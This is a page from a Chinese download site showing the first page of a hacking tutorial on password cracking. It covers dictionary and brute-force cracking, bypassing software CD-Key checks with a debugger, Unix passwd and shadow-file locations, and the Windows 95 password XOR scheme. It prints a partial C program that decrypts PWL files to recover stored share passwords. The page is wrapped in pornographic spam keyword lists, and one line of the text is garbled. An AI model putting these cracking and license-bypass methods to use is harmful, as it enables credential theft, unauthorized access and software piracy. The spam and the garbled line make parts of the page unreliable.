亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來(lái)到蟲(chóng)蟲(chóng)下載站! | ?? 資源下載 ?? 資源專輯 ?? 關(guān)于我們
? 蟲(chóng)蟲(chóng)下載站

?? xiazai.txt

?? 黑客技術(shù)(口令破解)
?? TXT
?? 第 1 頁(yè) / 共 5 頁(yè)
字號(hào):
黑客技術(shù)(下)

第八章 

口令破解

第一節(jié) 口令破解器

口令破解器是一個(gè)程序,它能將口令解譯出來(lái),或者讓口令保護(hù)失效。口令破解器一般并不是真正地去解碼,因?yàn)槭聦?shí)上很多加密算法是不可逆的。
也就是說(shuō),光是從被加密的數(shù)據(jù)和加密算法,不可能從它們身上反解出原來(lái)未加密的數(shù)據(jù)。其實(shí)大多數(shù)口令破解器是通過(guò)嘗試一個(gè)一個(gè)的單詞,用知道的加密算法來(lái)加密這些單詞,直到發(fā)現(xiàn)一個(gè)單詞經(jīng)過(guò)加密后的結(jié)果和要解密的數(shù)據(jù)一樣,就認(rèn)為這個(gè)單詞就是要找的密碼了。
這就是目前最有效的方法。這種方法之所以比想象得有效得多的原因是:
許多人在選擇密碼時(shí),技巧性都不是很好。許多人還認(rèn)為他的私人數(shù)據(jù)反正沒(méi)有放在網(wǎng)上,所以,密碼選擇也比隨便。其實(shí),一個(gè)用戶在一個(gè)系統(tǒng)里有一個(gè)帳號(hào),就是一個(gè)通入系統(tǒng)的門。如果,其中一個(gè)的密碼不安全,則整個(gè)系統(tǒng)也就是不安全的。由于用戶的密碼的設(shè)置往往都是一些有意義的單詞,或者干脆就是用戶名本身,使得破解器的嘗試次數(shù)大為降低。
許多加密算法在選擇密鑰時(shí),都是通過(guò)隨機(jī)數(shù)算法產(chǎn)生的。但往往由于這個(gè)隨機(jī)數(shù)算法并不是真正意義上的隨機(jī)數(shù),從而大大降低了這個(gè)隨機(jī)性,從而為解密提供了一些列的方便。比如,本來(lái),需要嘗試1000次,但由于上述隨機(jī)性并不好,結(jié)果使得只需嘗試1000次就能成功。
還有一個(gè)原因是目前計(jì)算機(jī)的速度相當(dāng)?shù)目欤遥ヂ?lián)網(wǎng)的存在,使得協(xié)同進(jìn)行解密的可能性大為增加。這樣強(qiáng)的計(jì)算能力用到解密上,造成了破解的時(shí)間大為降低。
通過(guò)上述分析,可見(jiàn),從理論上來(lái)講,任何密碼都是可以破解的,只是一個(gè)時(shí)間的問(wèn)題。對(duì)于一些安全性較低的系統(tǒng),速度通常很快。

對(duì)于那種需要一個(gè)口令或注冊(cè)碼才能安裝軟件的情況,口令破解會(huì)顯得更為簡(jiǎn)單。這種情況你可能會(huì)經(jīng)常遇到。比如安裝一個(gè)微軟的軟件,在安裝過(guò)程中通常需要你輸入一個(gè)CD-Key,如果這個(gè)CD-Key是正確的,那么它就開(kāi)始安裝。如果非法的,那么就退出安裝。
通常有兩種方法可以使這種方式失效。
一種是修改安裝程序。因?yàn)檫@種方法的流程一般是在安裝的時(shí)候先彈出一個(gè)對(duì)話框,請(qǐng)求輸入CD-Key。接著程序會(huì)對(duì)輸入的CD-Key進(jìn)行運(yùn)算,最后根據(jù)得到的結(jié)果決定是繼續(xù)安裝還是退出。現(xiàn)在有很多調(diào)試軟件,它們提供豐富的調(diào)試功能,如單步執(zhí)行,設(shè)置斷點(diǎn)等等。一個(gè)比較好的軟件是Soft-ICE。在運(yùn)行安裝程序之前,可以在調(diào)試軟件里設(shè)置在系統(tǒng)彈出CD-Key輸入對(duì)話框的時(shí)候停止執(zhí)行。接著就可以用調(diào)試器跟蹤代碼的執(zhí)行,將CD-Key判斷部分整個(gè)的跳過(guò)去,直接進(jìn)入安裝程序。
另一個(gè)方法就是算法嘗試。由于安裝程序要對(duì)CD-Key進(jìn)行運(yùn)算,判斷其合法性。因此,只要知道CD-Key的算法,就能輕而易舉的進(jìn)入。
已經(jīng)有人對(duì)為軟的這種算法進(jìn)行了探討。發(fā)現(xiàn)這些算法策略很簡(jiǎn)單。

第二節(jié) 口令破解器是怎樣工作的

要知道口令破解器是如何工作的,主要還是要知道加密算法。正如上面所說(shuō)的,許多口令破解器是對(duì)某些單詞進(jìn)行加密,然后在比較。
可以將口令破解器用下面的圖來(lái)表示:


侯選口令產(chǎn)生器的作用是產(chǎn)生認(rèn)為可能是密碼的單詞。通常有好幾種方法產(chǎn)生侯選密碼。一種是從一個(gè)字典里讀取一個(gè)單詞。這種方法的理論根據(jù)是許多用戶由于取密碼有些不是很明智,比如將自己的名字,或者用戶名,或者一個(gè)好記住的單詞等等。所以,攻擊這通常都將這些單詞收集到一個(gè)文件里,叫做字典。在破解密碼是,從這些字典里取出侯選密碼。
另一種方法是用枚舉法來(lái)產(chǎn)生這樣的單詞。通常從一個(gè)字母開(kāi)始,一直增加,知道破解出密碼為止。這里,通常要指定組成密碼的字符集,比如從A-Z,0-9等等。為了便于協(xié)同破解密碼,常常需要為密碼產(chǎn)生器指定產(chǎn)生的密碼的范圍。
口令加密就是用一般的加密算法對(duì)從口令侯選器送來(lái)的單詞進(jìn)行加密。通常,對(duì)于攻擊不同的系統(tǒng),要采用不同的加密算法。加密算法有很多,通常是不可逆的。這就是造成了為什么口令破解器使用的是這種結(jié)構(gòu)。
口令比較就是將從口令加密里出來(lái)的密文和要破解的密文進(jìn)行比較。如果一致,那么當(dāng)前侯選口令發(fā)生器中出來(lái)的單詞就是要找的密碼。如果不一致,則口令發(fā)生器再產(chǎn)生下一個(gè)侯選口令。
下面我們分別介紹Unix和Windows 95屏幕保護(hù)程序的密碼算法。同時(shí)給出破解的源程序。另外還介紹Windows NT口令破解方法。最后再舉一個(gè)軟件注冊(cè)碼破解實(shí)例。

Unix口令破解簡(jiǎn)介
首先講講怎樣在Unix下得到口令文件。
在標(biāo)準(zhǔn)的Unix系統(tǒng)中,口令文件是/etc/passwd。但是在使用NIS/yp或shadow的系統(tǒng)時(shí),口令數(shù)據(jù)可能放在別的地方。
口令文件中的每一條目包含7個(gè)分號(hào)擱開(kāi)的區(qū)域: 
用戶名 
加密的password,口令有效期
用戶號(hào)碼
組號(hào)碼 
GECOS信息
Home目錄
Shell 

  下面舉個(gè)實(shí)例:
will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash 

  上面這個(gè)條目包含了下面的信息:
用戶名: will 
加了密的口令: 5fg63fhD3d5gh 
用戶號(hào)碼: 9406 
組號(hào)碼: 12 
GECOS信息: Will Spencer 
Home目錄: /home/fsg/will 
Shell: /bin/bash 

當(dāng)入侵者拿到了這個(gè)密碼文件后,就開(kāi)始對(duì)密碼進(jìn)行破解。當(dāng)用戶登錄系統(tǒng)時(shí),Unix將password的內(nèi)容讀入,并對(duì)這個(gè)密碼進(jìn)行加密,并將運(yùn)算結(jié)果和口令文件中的相比較。
Unix口令破解器的基本結(jié)構(gòu)就是我們前面分析的那種結(jié)構(gòu)。目前較為流行的是John程序。他運(yùn)行在Windows系統(tǒng)下,并且能很快的破解密碼。
那么,對(duì)于shadow的口令怎么辦呢?口令shadow是指將口令文件中的加了密的口令密文部分用一個(gè)特殊的符號(hào)表示,真正的密文放在另一個(gè)單獨(dú)的文件里,一般的用戶無(wú)法讀到這個(gè)文件。
為了能讀到這個(gè)文件,寫(xiě)一個(gè)程序,通過(guò)調(diào)用getpwent()函數(shù)來(lái)得到這個(gè)文件。程序舉例如下:

#include < pwd.h> 
main() 
{ 
struct passwd *p; 
while(p=getpwent()) 
printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, 
p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); 
} 

  那么這個(gè)shadow文件放在哪個(gè)目錄下面呢?
Unix Path Token 
----------------------------------------------------------------- 
HP-UX /.secure/etc/passwd * 
IRIX 5 /etc/shadow x 
Linux 1.1 /etc/shadow * 
SCO Unix #.2.x /tcb/auth/files/< first letter * 
of username>/< username> 
SunOS4.1+c2 /etc/security/passwd.adjunct ##username 
SunOS 5.0 /etc/shadow 
< optional NIS+ private secure maps/tables/whatever> 
System V Release 4.0 /etc/shadow x 
System V Release 4.2 /etc/security/* database 
Ultrix 4 /etc/auth[.dir|.pag] * 

  對(duì)于NIS/yp又怎樣呢?
  現(xiàn)在的NIS (Network Information System)以前也叫yp (Yellow Pages)。NIS的目的是允許一個(gè)網(wǎng)絡(luò)上的多臺(tái)計(jì)算機(jī)共享配置信息,包括口令數(shù)據(jù)。NIS的目的是提高系統(tǒng)的安全性。如果你使用的系統(tǒng)是NIS的,那么,口令文件相當(dāng)小,看上去可能就是: 
+::0:0::: 
  如果要看真正的口令,需要使用命令:"ypcat passwd" 
  在有的口令文件中,還包含一項(xiàng)數(shù)據(jù)--口令有效期。口令有效期的目的是促使用戶在一定的時(shí)間后更改口令。這樣就能提高系統(tǒng)的安全性。
  /etc/passwd文件中如果保存口令有效期數(shù)據(jù)的話,這個(gè)條目看上去是這樣的。
will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash 

上面這個(gè)條目中,密文后面有一個(gè)逗號(hào),逗號(hào)后面的便是口令有效期了。這里是:
M.z8 

  對(duì)這四個(gè)字符的解釋如下: 
1.口令可以不改變而存在的最大的周數(shù)。
2.口令在改變之前必須使用的最小的周數(shù)。
3&4.口令上次改變的時(shí)間,以從1970年算起的周數(shù)。

如果1和2設(shè)置成"..",表示,下次登錄的時(shí)候,必須改變口令了。隨后口令管理程序會(huì)將口令有效期移去,這樣,用戶以后就沒(méi)有口令有效期的限制了。
如果3和4設(shè)置成"..",表示下次登錄時(shí),必須改變口令。口令有效期由前兩個(gè)字符表示。
如果第一個(gè)字符小于第二個(gè)字符,就不允許用戶改變口令了。只有root才有權(quán)力改變這個(gè)用戶的口令。必須注意,su命令并不檢查口令有效期。一個(gè)過(guò)期的口令可以在使用su是,沒(méi)有被迫改變口令的要求。

口令有效期代碼
+------------------------------------------------------------------------+ 
| | 
| Character: . / 0 1 2 3 4 5 6 7 8 9 A B C D E F G H | 
| Number: 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | 
| | 
| Character: I J K L M N O P Q R S T U V W X Y Z a b | 
| Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | 
| | 
| Character: c d e f g h i j k l m n o p q r s t u v | 
| Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | 
| | 
| Character: w x y z | 
| Number: 60 61 62 63 | 
| | 
+------------------------------------------------------------------------+ 

Windows 95屏幕保護(hù)口令密碼破解簡(jiǎn)介
Window95共享目錄口令與屏幕保護(hù)口令的加密方法是相同的。共享目錄的口令密文放在注冊(cè)表的HKEY_LOCAL_MACHINE\SOFTWARE\micorsoft\windows\current_version\network\lanman\目錄名\Parm1enc和Parm2enc兩位置,但有時(shí)注冊(cè)庫(kù)里缺少最后一個(gè)字符的密文。明文與數(shù)列(前八個(gè)數(shù)是35,9a,4d,a6,53,a9,d4,6a)作異或運(yùn)算即得密文。屏幕保護(hù)程序的口令密文放在注冊(cè)表的HKEY_CURRENT_USERS\ControlPanel\desktop\ScreenSave_Data下面。
關(guān)于PWL文件的一些說(shuō)明:14個(gè)字符長(zhǎng)的密碼(均轉(zhuǎn)為大寫(xiě)),用它生成一個(gè)32位的密鑰,由以下算法求得一個(gè)XOR串,接下來(lái)用此XOR串 XOR 20字節(jié)長(zhǎng)的UserName(也轉(zhuǎn)為大寫(xiě)), 結(jié)果存于PWL文件offset 0x208-0x21B, 0x21C開(kāi)始為一系列指向資源串的指針(當(dāng)然已XOR過(guò)了)。資源串中保存的主要是該USER的一些共享目錄的口令,資源串也分別與XOR串 XOR。
由注冊(cè)表數(shù)據(jù)庫(kù)system.dat極易解出共享目錄, 因此若Win95目錄被共享(不需口令)則解出其余需口令的目錄就變得比較簡(jiǎn)單了。但Win95目錄沒(méi)共享怎么辦呢?用一個(gè)叫 glide 的程序,對(duì)從將別的機(jī)器上拷回來(lái)的PWL文件進(jìn)行解密。用glide解其資源,很有可能找到所需的password。
但glide程序在反解資源指針時(shí)有點(diǎn)問(wèn)題。下面的程序?qū)lide進(jìn)行了一點(diǎn)改進(jìn)。在password未知情況下的反解并不能保證對(duì)(這種反解利用了M$的愚蠢的錯(cuò)誤,將同一 Xor串用于加密許多不同串), 但在大多情況下應(yīng)沒(méi)問(wèn)題。本程序來(lái)自《水木清華》BBS,并已略加改動(dòng)。

#include < stdio.h> 
#include < string.h> 
#include < ctype.h> 
#include < dir.h> 

unsigned char Data[10001]; // pwl file buffer, 10K should enough! 
unsigned char keystream[1001]; // xor key stream 
int Rpoint[300]; // Resource pointers 
int size,maxr,cracked; 

void RecoverKeyStream() 
{ 
int sizemask,i,rsz,pos; 
int Rall[300]; 
int keylen,len; 

/* find allocated recources */ 
sizemask=keystream[0]+(keystream[1]< < 8); 
for(i=0;i< 256;i++) Rall[i]=0; 
maxr=-1; 
for(i=0x109;i< 0x208;i++) 
{ 
if(Data[i]!=0xff) 
{ 
Rall[Data[i]]++; 
if (Data[i]>maxr) maxr=Data[i]; 
} 
} 
if (maxr == -1) return; // no resource 
maxr=(((maxr/16)+1)*16); 
// recource pointer table size appears to be divisable by 16 

/* search after recources */ 
keylen = 2 * maxr + 20 + 2; 
Rpoint[0]=0x0208+keylen; /* first recource */ 

for(i=0;i< maxr;i++) 
{ 
/* find size of current recource */ 
pos=Rpoint[i]; 
if (pos >= size) 
{ 
printf("Decrypt pwl file error!\n"); 
maxr = i; 
break; 
} 
rsz=Data[pos]+(Data[pos+1]< < 8); 
rsz^=sizemask; 
pos+=rsz+2; 

if(i< maxr-1) 
{ 
while(pos < size) 
{ 
len = (*(unsigned int*)(Data+pos)) ^ sizemask; 
if (Rall[i+1] == 0 && len == 0) 
break; // correct position 
if (Rall[i+1] > 0 && len >= 2 && len < = keylen) 
break; // may be correct position ? 
pos+=2; // else, increase by 2 
} 
} 
Rpoint[i+1]=pos; 
} 
Rpoint[maxr]=size; 

/* insert Table data into keystream */ 
for(i=0;i < = maxr;i++) 
{ 
keystream[20+2*i]^=Rpoint[i] & 0x00ff; 
keystream[21+2*i]^=(Rpoint[i] >> 8) & 0x00ff; 
} 
cracked+=maxr*2+2; 
} 

void DecryptResources() 
{ 
int i,j,rsz; 

/* decrypt resources */ 
for(i=0;i< maxr;i++) 
{ 
rsz=Rpoint[i+1]-Rpoint[i]; 
if (rsz>cracked) rsz=cracked; 

if (rsz > 2) 
{ 
printf("Recource[%02d] (length: %02d)\n",i,rsz); 
for(j=0;j< rsz;j++) 
{ 
unsigned char c = Data[Rpoint[i]+j]^keystream[j]; 
printf("%c", c >= 0x20 && c < = 0x7e ? c : '.'); 
} 
printf("\n"); 
} 
} 
} 

int main (int argc,char *argv[]) 
{ 
struct ffblk ffblk; 
int i,done,index = 0; 
FILE *fd; 
char *name,ch; 

if (argc< 2) 
{ 
printf("Usage: Pwl pwlfile(s) (eg: *.pwl)"); 
return 1; 
} 

done = findfirst(argv[1],&ffblk,0); 
while (!done) 
{ 
name = ffblk.ff_name; 
printf("\n-----------File %2d: %11s------------\n", ++index,name); 

/* read PWL file */ 

?? 快捷鍵說(shuō)明

復(fù)制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號(hào) Ctrl + =
減小字號(hào) Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
日韩欧美一区二区三区在线| 久久99最新地址| 欧美激情一区二区三区不卡| 日韩av一二三| 国产成人在线色| 日本韩国一区二区三区| 欧美亚洲另类激情小说| 欧美午夜在线观看| 欧美日韩国产在线观看| 欧美sm美女调教| 一区二区三区国产精品| 精品一区二区在线看| 国产一区不卡在线| 色综合久久久久综合体| 欧美一区二区三区播放老司机| 精品国产乱码久久久久久闺蜜| 亚洲国产电影在线观看| 欧美高清在线一区| 日韩av网站在线观看| 亚洲高清不卡在线观看| 国产福利不卡视频| 欧美日韩精品一区二区| 久久久国产精品麻豆| 91国模大尺度私拍在线视频| 欧美精品一区二区三区在线| 日韩av在线发布| 欧美精品v国产精品v日韩精品| 自拍偷拍欧美精品| 成人午夜电影网站| 亚洲国产成人在线| 不卡欧美aaaaa| 国产精品传媒在线| 91丨porny丨蝌蚪视频| 亚洲免费大片在线观看| 欧美视频在线观看一区二区| 国产盗摄女厕一区二区三区| 国产精品久久久久四虎| 东方aⅴ免费观看久久av| 久久免费视频色| 国产一区二区三区蝌蚪| 亚洲国产精品t66y| jlzzjlzz亚洲日本少妇| 亚洲国产一二三| 亚洲香蕉伊在人在线观| 日韩欧美中文字幕公布| 欧美日韩精品是欧美日韩精品| 国产高清不卡二三区| 久久久久久久综合色一本| 欧美精品一区二区在线观看| 91网站最新网址| 亚洲天堂网中文字| 91免费精品国自产拍在线不卡| 亚洲精选视频在线| 在线视频你懂得一区二区三区| 亚洲观看高清完整版在线观看| 精品成人在线观看| 欧美综合视频在线观看| 国产成人在线视频网站| 亚洲成a人片综合在线| 中文字幕久久午夜不卡| 精品国产一区二区三区av性色| 成人av网站在线观看免费| 欧美日本精品一区二区三区| 91超碰这里只有精品国产| 91亚洲永久精品| 成人中文字幕电影| 亚洲一区在线免费观看| 洋洋av久久久久久久一区| 奇米精品一区二区三区在线观看| 老司机精品视频在线| 日韩av电影免费观看高清完整版在线观看| 亚洲日本丝袜连裤袜办公室| 中文字幕乱码亚洲精品一区| 国产人妖乱国产精品人妖| 精品成人在线观看| 337p粉嫩大胆噜噜噜噜噜91av| 欧美一区二区视频网站| 久久99精品视频| 在线观看视频一区二区欧美日韩| 欧美成人女星排行榜| 欧美一三区三区四区免费在线看| 色综合天天综合网天天看片| 欧美日韩美少妇| 日韩精品一区二区三区视频播放| 91精品国产aⅴ一区二区| 精品国产一区二区在线观看| 日韩欧美一二三区| 国产精品麻豆久久久| 亚洲日本电影在线| 五月激情丁香一区二区三区| 日韩成人伦理电影在线观看| 国产永久精品大片wwwapp| 91国偷自产一区二区三区成为亚洲经典 | 国产成人精品www牛牛影视| 麻豆91免费看| 成人精品国产福利| 5858s免费视频成人| 欧美国产综合一区二区| 亚洲一区二区三区四区不卡| 狠狠色丁香九九婷婷综合五月 | 亚洲精品一区二区在线观看| 亚洲欧美一区二区视频| 青青草原综合久久大伊人精品| 久久国产日韩欧美精品| 最新不卡av在线| 青青草伊人久久| www.欧美日韩国产在线| 日韩欧美国产一区二区在线播放| 国产精品网曝门| 看国产成人h片视频| 欧美精品在线视频| 亚洲三级免费观看| 岛国av在线一区| 精品999久久久| 韩国毛片一区二区三区| 91精品国产欧美一区二区成人| 日韩一区在线看| 国产suv精品一区二区883| 日韩精品一区二区三区中文不卡| 亚洲综合久久久久| 91美女视频网站| 日韩毛片一二三区| 在线观看日韩一区| 国内成人精品2018免费看| 国产精品一区专区| 国产亚洲短视频| 国产成人在线影院| 国产精品污网站| www.性欧美| 亚洲一线二线三线久久久| 欧美性色欧美a在线播放| 国产精品久线在线观看| 99re热这里只有精品视频| 亚洲综合清纯丝袜自拍| 在线电影一区二区三区| 久久国产日韩欧美精品| 久久精品网站免费观看| 91片黄在线观看| 日韩精品免费专区| 国产日韩av一区二区| 欧美日韩电影在线| 欧美日韩一区二区三区在线看| 天天色天天操综合| 久久免费的精品国产v∧| 99re视频这里只有精品| 麻豆成人免费电影| 国产日产欧美一区二区三区| 色999日韩国产欧美一区二区| 日本美女一区二区三区| 无码av免费一区二区三区试看| 国产精品网曝门| 久久精品视频一区二区三区| 欧美日韩国产欧美日美国产精品| 国产精品一区一区| 激情文学综合丁香| 肉肉av福利一精品导航| 亚洲裸体xxx| 国产精品电影一区二区| 国产片一区二区| 久久精品视频网| 2020国产成人综合网| 欧美系列亚洲系列| 91成人免费电影| 欧美体内she精高潮| 欧美午夜在线一二页| 色8久久精品久久久久久蜜| 97久久超碰精品国产| 成人黄色软件下载| 99国产精品国产精品毛片| 国产精品一卡二卡在线观看| 极品美女销魂一区二区三区| 国产精品系列在线播放| 国产成a人无v码亚洲福利| 国产精品996| 色伊人久久综合中文字幕| 91精品国产欧美日韩| 久久久不卡网国产精品二区| 中文一区在线播放| 一区二区三区在线免费播放| 日本欧美大码aⅴ在线播放| 国产乱码字幕精品高清av| 99久久精品国产观看| 91麻豆精品国产91久久久久| 日本一区二区视频在线观看| 亚洲最新视频在线观看| 久久国产精品露脸对白| 日本高清不卡在线观看| 久久综合色天天久久综合图片| 中文字幕佐山爱一区二区免费| 婷婷中文字幕综合| 成人一区在线观看| 日韩午夜三级在线| 亚洲综合色成人| 成人免费看视频| 精品乱人伦小说| 日韩av一区二区三区| 色狠狠一区二区| 国产精品久久久久影视| 国内久久精品视频| 日韩免费视频一区|